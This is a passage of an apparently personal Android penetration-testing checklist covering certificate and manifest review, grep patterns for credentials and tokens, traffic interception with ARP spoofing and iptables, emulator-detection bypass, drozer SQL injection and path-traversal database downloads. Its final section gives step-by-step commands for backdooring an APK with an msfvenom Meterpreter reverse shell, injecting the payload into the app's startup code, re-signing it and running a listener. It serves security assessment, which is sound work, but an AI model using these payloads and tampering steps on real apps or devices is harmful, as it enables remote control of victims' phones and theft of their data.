| -) jarsigner --> huge output (each file gets validated) 100 | -) cert location: 101 | -) unzip.apk --> META-INF/*.RSA 102 | -) jadx app_name.apk --> resources/META-INF/*.RSA 103 | -) custom CAs may be definded: res/xml/network_security_config.xml (or similar name) 104 | -) also cert-pinning info available there (i.e expiration) 105 | 106 | [THINGS TO REPORT] 107 | !) CN=Android Debug (=debug cert -> public known private key) 108 | !) CA is expired 109 | !) The CA that issued the server certificate was unknown 110 | !) CA was self signed 111 | !) The server configuration is missing an intermediate CA 112 | !) no cert-pinning (public key pinning) enabled (if you are able to route traffic through a proxy) 113 | !) cleartext Traffic is allowed (until Android 8.1): 114 | -) 115 | -) 116 | 117 | [MORE DETAILS] 118 | ?) https://developer.android.com/reference/android/Manifest.permission.html 119 | ?) https://developer.android.com/training/articles/security-ssl#CommonProblems 120 | ?) https://www.ssllabs.com/ssltest/ 121 | 122 | 123 | /////////////////////////////// 124 | 1d) ANALYZE ANDROIDMANIFEST.XML 125 | /////////////////////////////// 126 | 127 | [COMMANDS] 128 | RETRIEVE MANIFEST ONLY (already covered if you have properly decompiled the app) 129 | o) aapt dump app_name.apk AndroidManifest.xml > manifest.txt 130 | o) aapt l -a app_name.apk > manifest.txt 131 | o) run app.package.manifest com.x.x.x (within drozer-shell "dr>") 132 | 133 | CREATE BACKUP 134 | o) adb backup -all -apk -shared (full backup) 135 | o) adb backup com.x.x.x (single app backup) 136 | o) decode unencrypted backup 137 | o) xxd backup.ab (check if encrypted --> if you see "none" --> not encrypted) 138 | o) dd if=all-data.ab bs=24 skip=1 | openssl zlib -d > all-data.tar 139 | o) tar xvf all-data.tar (extract tar-archive) 140 | 141 | [INFO] 142 | APPLICATION OVERVIEW 143 | -) (Version & Requirements) 144 | -) (existing activities) 145 | -) (used services --> find class which interacts with external resources and databases) 146 | 147 | PERMISSIONS 148 | -) 149 | 150 | DEBUG APPLICATION 151 | -) Debugging running apps or processes with GDB: https://source.android.com/devices/tech/debug/gdb 152 | 153 | CONTENT PROVIDER 154 | -) 155 | 156 | [THINGS TO REPORT] 157 | !) Wrong version/requirements specified 158 | !) android:allowBackup = TRUE 159 | !) android:debuggable = TRUE 160 | !) andorid:exported= TRUE or not set at all (within -Tag) --> allows external app to access data 161 | !) android.permission.WRITE_EXTERNAL_STORAGE / READ_EXTERNAL_STORAGE (ONLY IF sensitive data was stored/read externally) 162 | !) inproper use of permissions 163 | !) e.g. the app opens website in external browser (not inApp), however requires "android.permission.INTERNET" --> false usage of permissions. (over-privileged) 164 | !) "android:protectionLevel" was not set properly () 165 | !) missing android:permission (permission tags limit exposure to other apps) 166 | [MORE DETAILS] 167 | ?) https://developer.android.com/guide/topics/manifest/application-element 168 | ?) https://pentestlab.blog/2017/01/24/security-guidelines-for-android-manifest-files/ 169 | ?) https://developer.android.com/studio/releases/platforms 170 | 171 | 172 | //////////////////////// 173 | 1e) SOURCE CODE ANALYSIS 174 | //////////////////////// 175 | 176 | [COMMANDS] 177 | THINGS TO SEARCH FOR QUICKLY 178 | o) grep -Ei 'api' -Ei 'http' -Ei 'https' -Ei 'URI' -Ei 'URL' -R . (recursive search for endpoints) 179 | o) grep -Eio '(http|https)://[^/"]+' -Eio 'content://[^/"]+' -R . (check if strings follow a URL pattern) 180 | o) grep -Ei 'MODE_WORLD_READABLE' -Ei 'MODE_WORLD_WRITEABLE' -R . (check if improper file permissions were set within the code) 181 | o) grep -Ei 'getCacheDir' -Ei 'getExternalCacheDirs' -R . (check if sensitive files get saved in cache) 182 | o) grep -Ei 'localUserSecretStore' -Ei 'getWriteableDatabase' -Ei 'getReadableDatabase' -Ei 'SQLiteDatabase' -Ei 'realm' -Ei 'getDefaultInstance' -Ei 'beginTransaction' -Ei 'insert' -Ei 'query' -Ei 'delete' -Ei 'update' -R . (check for database related stuff) 183 | o) grep -Ei 'openFileOutput' -Ei 'FileOutputStream' -Ei 'OutputStream' -Ei 'getExternalFilesDir' -R . (check for file operation related stuff) 184 | o) grep -Ei 'AndroidKeystore' -Ei 'KeyStore' -Ei 'crypto' -Ei 'cipher' -Ei 'store' -R . (check for keystore related stuff) 185 | o) grep -Ei 'username' -Ei 'user' -Ei 'userid' -Ei 'password' -Ei '.config' -Ei 'secret' -Ei 'pass' -Ei 'passwd' -Ei 'token' -Ei 'login' -Ei 'auth' -R . (search for user related stuff) 186 | o) grep -Ei 'Log.v' -Ei 'Log.d' -Ei 'Log.i' -Ei 'Log.w' -Ei 'Log.e' -Ei 'log' -Ei 'logger' -Ei 'printStackTrace' -Ei 'System.out.print' -Ei 'System.err.print' -R . (log related stuff) 187 | o) grep -Ei 'Cursor' -Ei 'content' -Ei 'ContentResolver' -Ei 'CONTENT_URI' -Ei 'Loader' -Ei 'onCreateLoader' -Ei 'LoaderManager' -Ei -R . 188 | 189 | OPEN SOURCE-CODE FILES 190 | o) jd-gui app-dex2jar.jar (opens .jar/.java/.class files) or use an IDE of your choice (android studio or eclipse) 191 | 192 | [INFO] 193 | INTERESTING CLASSES 194 | -) SharedPreferences (stores key-value pairs) 195 | -) FileOutPutStream (uses internal or external storage) 196 | 197 | INTERESTING FUNCTIONS 198 | -) getExternal* (uses external storage) 199 | -) getWriteableDatabase (returns SQLiteDB for writing) 200 | -) getReadableDatabase (returns SQLiteDB for reading) 201 | -) getCacheDir / getExternalCacheDirs (uses cached files) 202 | 203 | [THINGS TO REPORT] 204 | !) Cleartext credentials (includes base64 encoded or weak encrypted ones) 205 | !) Credentials cracked (brute-force, guessing, decrypted with stored cryptographic-key, ...) 206 | !) File permission MODE_WORLD_READABLE / MODE_WORLD_WRITEABLE (other apps/users are able to read/write) 207 | !) If http is in use (no SSL) 208 | !) Anything that shouldn't be there (debug info, comments with info disclosure, ...) 209 | 210 | ========================================================================== 211 | =================== 2) AUTOMATED STATIC ANALYSIS ========================= 212 | ========================================================================== 213 | 214 | [RECOMMENDED TOOLS] 215 | -) MobSF (https://github.com/MobSF/Mobile-Security-Framework-MobSF) 216 | -) quark (https://github.com/linkedin/qark/) 217 | -) AndroBugs (https://github.com/AndroBugs/AndroBugs_Framework) 218 | -) JAADAS (https://github.com/flankerhqd/JAADAS) 219 | 220 | [INFO] 221 | -) At this point you have to google yourself how to install and use them ;) 222 | -) MobSF + quark are recommended! 223 | 224 | ========================================================================== 225 | ===================== 3) MANUAL DYNAMIC ANALYSIS ========================= 226 | ========================================================================== 227 | ///////////////// 228 | 3a) PREREQUISITES 229 | ///////////////// 230 | 231 | [PROXY] 232 | -) Install Burp-Suite (recommended): https://portswigger.net/burp/communitydownload 233 | 234 | [AVD || ROOTED DEVICE] 235 | -) cert installation: 236 | ?) BEFORE Android 7 (Nougat): https://support.portswigger.net/customer/portal/articles/1841102-installing-burp-s-ca-certificate-in-an-android-device 237 | ?) Android 7 or higher: https://blog.ropnop.com/configuring-burp-suite-with-android-nougat/ 238 | -) Proxy setup 239 | ?) Virtual device: https://developer.android.com/studio/run/emulator-networking#proxy 240 | ?) Physical phone: https://www.howtogeek.com/295048/how-to-configure-a-proxy-server-on-android/ 241 | 242 | [ADDITIONAL TOOLS] 243 | -) Install drozer on host & phone: 244 | ?) https://labs.mwrinfosecurity.com/tools/drozer/ 245 | -) Android SDK: 246 | ?) http://www.androiddocs.com/sdk/installing/index.html 247 | !) adb might be located @ Android/Sdk/platform-tools/ (Linux) 248 | 249 | [FUNCTIONALITY TEST] 250 | COMMANDS: 251 | o) adb devices (should list your device) 252 | o) adb forward tcp:31415 tcp:31415 (port forwarding for drozer client) 253 | o) drozer console devices (list available drozer clients) 254 | o) drozer console connect (connect to drozer client and end up in drozer-shell: "dr>") 255 | 256 | [NON-PROXY AWARE APPS] 257 | -) Route traffic through the host machine (e.g. built-in Internet Sharing) --> Wireshark (cli: tshark) or tcpdump 258 | -) Downside - if HTTPS, you are not able to see any request bodies 259 | 1) tcpdump -i -s0 -w - | nc -l -p 11111 (remotely sniff via netcat) 260 | 2) adb forward tcp:11111 tcp:11111 261 | 3) nc localhost 11111 | wireshark -k -S -i - 262 | 263 | -) MitM with bettercap (same network as target device): 264 | -) sudo bettercap -eval "set arp.spoof.targets ; arps.spoof on; set arp.spoof.internal true; set arp.spoof.fullduplex true;" (command may defer due to bettercap version) 265 | 266 | -) Redirect with iptables: 267 | -) iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination :8080 268 | -) verify iptables settings: iptables -t nat -L 269 | -) reset iptables config: iptables -t nat -F 270 | -) Hooking or Code-Injection 271 | 272 | [WHY?] 273 | -) In case of XAMARIN (ignores system proxy - not always! give it a try before you cry) 274 | -) Other protocols are used (XMPP or other non-HTTP) 275 | -) To intercept push notifications 276 | -) The app itself verifies connection and refuse 277 | 278 | //////////////////////////////// 279 | 3b) INSTALL APPLICATION & USE IT 280 | //////////////////////////////// 281 | 282 | [COMMANDS] 283 | o) adb install path/to/app_name.apk 284 | o) In case it does not work: 285 | o) copy apk to phone and install it directly: adb push app_name.apk /sdcard/ 286 | o) download apk on phone and install it () 287 | 288 | [INFO] 289 | ------------------------------------------------------------ 290 | !!!!!INTERCEPT THE WHOLE TRAFFIC FROM THE BEGINNING ON!!!!!! 291 | ------------------------------------------------------------ 292 | Start using the app, like a normal user would 293 | o) Log in -> Browse around -> load content & so on ... 294 | o) Look for: 295 | o) File up/download 296 | o) try to bypass fileupload/-filter (often there is only a client-side validation) 297 | o) Activity behaviour & functionality 298 | o) ANYTHING which indicates a communication to a backend/api or might be stored locally 299 | o) check proxy and look for suspicious behaviour, requests, new/different endpoints & so on ... 300 | 301 | ///////////////////// 302 | 3c) BYPASS DETECTIONS 303 | ///////////////////// 304 | 305 | [SSL PINNING] 306 | !!! TBD soon !!! 307 | 308 | [ROOT DETECTION] 309 | !!! TBD soon !!! 310 | 311 | [EMULATOR DETECTION] 312 | [COMMANDS] 313 | CHECK IF ONE IS PRESENT 314 | -) grep -Ei "isEmulator" -Ei "root" -Ei "carrierNameFromTelephonyManager" -Ei "smellsLikeAnEmulator" -Ei "SystemProperties" -R . (known methods) 315 | -) grep -Ei "build.fingerprint" -Ei "build.hardware" -Ei "product.kernel" -Ei "product.brand" -Ei "product.name" -Ei "product.model" -Ei "product.manufacturer" -Ei "product.device" -Ei "Emulator" -Ei "qemu.hw.mainkeys" -Ei "bootloader" -Ei "bootmode" -Ei "secure" -Ei "build.version.sdk" -R . 316 | -) grep -Ei "generic" -Ei "unknown" -Ei "google_sdk" -Ei "Android SDK built for x86" -Ei "Genymotion" -Ei "google_sdk" -Ei "goldfish" -R . 317 | 318 | BYPASS IT (IF PRESENT) 319 | 1) check AVD || rooted device "values (depending what the code is demanding, you might need to modify them) 320 | -) adb shell getprop ro.product.name 321 | -) adb shell getprop ro.product.device 322 | -) adb shell getprop ro.product.model 323 | -) adb shell getprop ro.kernel.qemu 324 | -) adb shell getprop ro.hardware 325 | -) adb shell getprop qemu.hw.mainkeys 326 | -) adb shell getprop ro.bootloader 327 | -) adb shell getprop ro.bootmode 328 | -) adb shell getprop ro.secure 329 | -) adb shell getprop ro.build.fingerprint 330 | -) adb shell getprop ro.build.version.sdk 331 | 2) Modify the code, so YOUR values will pass the test || delete the whole validation (if possible) 332 | 3) Recompile: apktool b ./modified_app_project_dir 333 | 4) Sign apk: 334 | 4.1) create key: keytool -genkey -v -keystore my-release-key.keystore -alias myalias -keyalg RSA -keysize 2048 -validity 10000 335 | !) remember the password you used 336 | 4.2) sign apk: /home//Android/Sdk/build-tools/<27.0.3_OR_CHECK_YOUR_USED_VERSION>/apksigner sign --ks my-release-key.keystore ./modified_app_project_dir/dist/modified_app.apk 337 | 5) install apk on device: adb install /path/to/modified_app.apk 338 | 339 | [INFO] 340 | !) No 100% success guaranteed: 341 | !) there might be fancy solutions out there (appreciate any input here!!) 342 | !) In case of heavy obfuscation --> good look with that 343 | !) Very often the app will be delivered with a root detection as well 344 | !) The grep commands above search for known method-names or values which might get executed/checked on app-startup 345 | 346 | [MORE DETAILS] 347 | ?) https://www.juanurs.com/Bypassing-Android-Anti-Emulation-Part-I/ 348 | ?) https://www.juanurs.com/Bypassing-Android-Anti-Emulation-Part-II/ 349 | ?) https://www.juanurs.com/Bypassing-Android-Anti-Emulation-Part-III/ 350 | 351 | [THINGS TO REPORT] 352 | !) Bypassing the emulator detection is possible by simple code-tampering 353 | 354 | ///////////////////////// 355 | 3d) ANALYZE LOCAL STORAGE 356 | ///////////////////////// 357 | 358 | [COMMANDS] 359 | LOCAL DATABASE 360 | o) sqlite3 db_name (open database within adb-shell) 361 | o) in sqlite-terminal: 362 | o) .tables (lists all tables) --> SELECT * FROM table_name (show table content) 363 | o) .schema table_name (shows columns) 364 | o) SELECT sql FROM sqlite_master WHERE tbl_name = 'insert_table_name' AND type = 'table'; (see table creation query -> reveals columns as well) 365 | o) For .realm files: 366 | o) adb pull path/to/database/on/phone/name.realm path/to/store/db/on/pc/ 367 | o) open within RealmStudio (https://docs.realm.io/sync/realm-studio) 368 | 369 | [INFO] 370 | COMMON LOCATIONS OF SECRETS/INFORMATION 371 | -) resources (i.e: res/values/strings.xml) 372 | -) build configs 373 | -) /data/data// 374 | -) shared_prefs/ (search for keysets -> used to encrypt files --> might be encrypted as well, if handled properly) 375 | -) cache/ 376 | -) database/ (local sqlite database) 377 | -) /sdcard/Android// 378 | 379 | KEEP YOUR EYES OPEN 380 | -) developer files 381 | -) backup files 382 | -) old files 383 | 384 | [THINGS TO REPORT] 385 | !) Hardcoded cryptographics key 386 | !) Cleartext credentials stored in .config/.xml & sqlite-/realm-DB 387 | !) Misplaced files (i.e. creds.txt stored on SD-Card) 388 | !) Wrong file permissions set (also have a look @ 1e) 389 | 390 | [MORE DETAILS] 391 | ?) https://steemit.com/penetration/@surajraghuvanshi/data-storage-security-on-android 392 | 393 | ////////////////// 394 | 3e) ATTACK SURFACE 395 | ////////////////// 396 | ---------------- 397 | AT THE BEGINNING 398 | ---------------- 399 | [COMMANDS] 400 | DROZER 401 | o) run app.package.attacksurface com.x.x.x 402 | 403 | [INFO] 404 | -) lists exported activities, contentprovider, broadcast receivers & services (=makes accessible to other apps) 405 | 406 | [THINGS TO REPORT] 407 | !) "is debuggable" output shows up (allows attaching a debugger to the process, using adb, and step through the code) 408 | 409 | --------- 410 | ACTIVITES 411 | --------- 412 | [COMMANDS] 413 | DROZER 414 | o) run app.activity.info -a com.x.x.x (display exported acitivities) 415 | o) run app.activity.start --component com.x.x.x com.x.x.x.ActivityName (start activity) 416 | ADB 417 | o) adb shell am start -n com.x.x.x/ActivityName 418 | 419 | [THINGS TO REPORT] 420 | !) Bypassed so called "protected" activites (i.e. creds needed) and access sensitive information 421 | !) Accessed "hidden" activities (if Admin-UI or Debug-UI was implemented) 422 | 423 | ---------------- 424 | CONTENT PROVIDER 425 | ---------------- 426 | [COMMANDS] 427 | DROZER 428 | o) run app.provider.info -a com.x.x.x 429 | o) run scanner.provider.finduris -a com.x.x.x (guesses paths & determines accessible content) 430 | o) run app.provider.query content:// --vertical (use uris from above or guess yourself) 431 | o) in addition: .insert / .update / .delete (google for proper statements) 432 | o) run scanner.provider.injection -a com.x.x.x (Test content providers for SQL injection vulnerabilities) 433 | o) run scanner.provider.sqltables -a com.x.x.x (Find tables accessible through SQL injection vulnerabilities) 434 | ---- 435 | SQLi 436 | ---- 437 | o) run app.provider.query content://com.x.x.x.ProviderName/path/ --prjection "* FROM SQLITE_MASTER WHERE type='table';--" (list all db tables) 438 | o) run app.provider.query content://com.x.x.x.ProviderName/path/ --projection "'" unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords 439 | o) run app.provider.query content://com.x.x.x.ProviderName/path/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (') 440 | o) EXAMPLE: 441 | o) run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--" (retreive data from otherwise protected tables) 442 | ------------- 443 | FILESYSTEM-CP 444 | ------------- 445 | o) run app.provider.download content://com.x.x.x.ProviderName/../../../../../../../../data/data/com.x.x.x/database.db /home/user/database.db (download db) 446 | o) run scanner.provider.traversal -a com.x.x.x (find content provider that are susceptible to directory traversal) 447 | o) run app.provider.read content://com.x.x.x.ProviderName/path/to/file 448 | o) EXAMPLE: 449 | o) run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts (/etc/hosts is world-readable -> no biggy) 450 | o) run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db 451 | ADB 452 | o) adb shell content query --uri content:/com.x.x.x.ProviderName/file_or_path 453 | 454 | [THINGS TO REPORT] 455 | !) Inproper use of permissions (no path permissions, no READ/WRITE permissions) 456 | !) If SQL Injection is possible 457 | !) If weak hash-function was used (like MD5) on passwords or other sensitive data 458 | !) Accessed db-files 459 | 460 | -------- 461 | SERVICES 462 | -------- 463 | [COMMANDS] 464 | DROZER 465 | o) run app.service.info -a com.x.x.x (list details on exported services) 466 | o) run app.service.send com.your.app com.google.firebase.iid.FirebaseInstanceIdService baaadText 2 3 467 | ?) if an error occurs --> analyze the decompiled source code (if available) and try other values until success 468 | 469 | [THINGS TO REPORT] 470 | !) Extracted sensitive data 471 | 472 | ------------ 473 | MORE DETAILS 474 | ------------ 475 | ?) http://showmeshell.top/2018/09/28/How-to-use-drozer/ (for further details translate page) 476 | ?) https://mobiletools.mwrinfosecurity.com/Using-Drozer-for-application-security-assessments/ 477 | ?) https://cyberincision.com/2017/09/13/android-app-hacking-with-drozer-usage/ 478 | 479 | //////////////// 480 | 3f) LOG ANALYSIS 481 | //////////////// 482 | 483 | [COMMANDS] 484 | LIVE LOGGING 485 | -) within adb-shell: ps | grep "" (from com.x.x.x.x) 486 | -) logcat | grep 487 | -) adb logcat | grep "$(adb shell ps | grep com.x.x.x | awk '{print $2}')" 488 | 489 | [INFO] 490 | !) Check if the app created its own logfile: /data/data/com.x.x.x/ 491 | 492 | [THINGS TO REPORT] 493 | !) Sensitive data was exposed within logs/log-files (i.e: "user bob tried to login in with secretpw123") 494 | 495 | ========================================================================== 496 | ========================== 4) APK TAMPERING ============================== 497 | ========================================================================== 498 | 499 | ////////////////////////////// 500 | 4a) SIMPLE REVERSE METERPRETER 501 | ////////////////////////////// 502 | 503 | [NON XAMARIN APPS] 504 | 1) msfvenom -p android/meterpreter/reverse_https LHOST= LPORT= -o meterpreter.apk 505 | 2) Decompile meterpreter.apk & original app_name.apk 506 | 2.1) apktool d -f -o ./payload_apk /path/to/your/meterpreter.apk 507 | 2.2) apktool d -f -o ./original_apk /path/to/your/app_name.apk 508 | 3) Create folder: mkdir ./original_apk/metasploit; mkdir ./original_apk/metasploit/stage 509 | 4) Copy payload-files: cp ./payload_apk/smali/com/metasploit/stage/* ./original_apk/smali/metasploit/stage/ 510 | 5) Get MainActivity name: Search in AndroidManifest.xml for an -Tag which contains both: 511 | 5.1) 512 | 5.2) 513 | 5.3) Look out for the tag-parameter: android:name="core.MainActivity" (it can have a different name, core indicates a directory within the smali dir) 514 | 6) Open the MainActivity.smali: 515 | 6.1) Search for: ;->onCreate(Landroid/os/Bundle;)V 516 | 6.2) Add the following in the next line (after 6.1): invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 517 | 7) Copy all necessary app-permissions from ./meterpreter/AndroidManifest.xml into the original ./original_apk/AndroidManifest.xml (check for duplicates -> otherwise some meterpreter functions will not work, due to missing permissions) 518 | 8) Recompile: apktool b ./original_apk 519 | 9) Sign apk: 520 | 9.1) create key: keytool -genkey -v -keystore my-release-key.keystore -alias myalias -keyalg RSA -keysize 2048 -validity 10000 521 | !) remember the password you used 522 | 9.2) sign apk: /home//Android/Sdk/build-tools/<27.0.3_OR_CHECK_YOUR_USED_VERSION>/apksigner sign --ks my-release-key.keystore ./original_apk/dist/app_name.apk 523 | 10) run a meterpreter session handler: 524 | 10.1) msfconsole 525 | 10.2) use multi/handler 526 | 10.3) set payload android/meterpreter/reverse_https 527 | 10.4) set LHOST (same as used to generate the payload - see step 1) 528 | 10.5) set LPORT (same as used to generate the payload - see step 1) 529 | 10.6) run 530 | 11) install apk on device: adb install /path/to/app_with_backdoor.apk 531 | 12) Start app on device 532 | 13) Have fun ;) 533 | 534 | [INFO] 535 | -) Guide I excerpted - worked multiple times at work: https://null-byte.wonderhowto.com/how-to/embed-metasploit-payload-original-apk-file-part-2-do-manually-0167124/ 536 | 537 | XAMARIN APPS 538 | ?) Simply with msfvenom? --> test it 539 | (https://hydrasky.com/mobile-security/injecting-metasploit-payloads-into-file-apk-android-application/) 540 | ?) !!! TBD !!! - dll-injection? I was not able to find anything useful - appreciate any input here!! 541 | 542 | [THINGS TO REPORT] 543 | !) If it works (don't give up if it does not work the easy way) 544 | 545 | ///////////////////////////////// 546 | 4b) OTHER WAYS TO BACKDOOR AN APP 547 | ///////////////////////////////// 548 | 549 | [COMMAND] 550 | -) msfvenom -x target_app.apk -p android/meterpreter/reverse_tcp LHOSt= LPORT= -o target_modified.apk 551 | -) adb install target_modified.apk 552 | -) start app 553 | 554 | [INFO] 555 | !) Works with Xamarin apps too (this made me very happy) 556 | 557 | [THINGS TO REPORT] 558 | !) If it works (don't give up if it does not work the easy way) 559 | 560 | !!! ANY OTHER IDEAS? appreciate any input here !!! 561 | 562 | /////////////// 563 | 4c) ANDROID NDK 564 | /////////////// 565 | 566 | !!! TBD !!! - appreciate any input here!! 567 | --------------------------------------------------------------------------------